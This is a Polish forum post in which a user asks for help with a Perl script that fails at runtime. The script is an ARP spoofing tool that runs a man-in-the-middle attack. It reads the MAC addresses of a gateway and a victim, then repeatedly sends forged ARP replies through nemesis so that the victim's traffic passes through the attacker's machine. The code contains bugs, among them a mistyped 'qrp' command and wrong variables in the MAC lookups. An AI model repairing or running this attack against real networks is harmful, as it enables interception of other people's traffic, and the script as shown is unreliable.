witam mam problem ze skryptem,skrypt sie kompiluje jednak w trakcie działania wyrzuca mi bład w 56 lini
oto kod źródłowy
Kod:
#!/usr/bin/perl
$gateway = shift;
$target = shift;
$time = shift;
$device = shift;
$i = 1;
$SIG{INT} = \&quit;
#Sprawdz poprawnosc argumentow przed startem
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}
if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}
if ($time=~/^$/)
{
$time = 10;
print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}
if ($time!~/^[0-9]+$/)
{
die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}
if ($device=~/^$/)
{
$device = "wlan0";
print("[-] Interfejs nieznany, przyjmuje wlan0.\n");
}
#Odczytaj adrecy MAC bramy i celu
print("[+] Wysylam ?adanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print("[+] Wysylam ?adanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");
#Pakiety wyslano , mo?emy odczytac adresy MAC
print "[+] Oczytuje adresy MAC z pameici podrecznej ARP.\n";
$gateway_mac = qx[qrp -na $gateway];
$gateway_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);
$target_mac = qx[qrp -na $gateway];
$target_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);
#Sprawdz czy odczytane adresy MAC sa poprawne
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway."); ---- tutaj blad-----
}
if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}
#odczytaj wlasny adres IP oraz MAC
print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystuj?c ifconfig.\n";
@ifconf = split(" " , qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];
print "{+} Interwal wysylanai pakietow to $time sekund.\n\n";
print "-> Ty: $you [$you_mac]\n";
print "-> Cel: $target [$target_mac]\n";
print "-> Brama: $gateway [$gateway_mac]\n";
#Wysylamy paikety ARP
while($i)
{
print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");
sleep $time;
}
#Wcisnieto ctrl+c przywracaamy orginalene ustawienia
sub quit
{
$i = 0;
print "[-] Koniec programu.Przywracanie orginalnych ustawien ARP.\n";
system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
może ktoś wie co jest nie tak?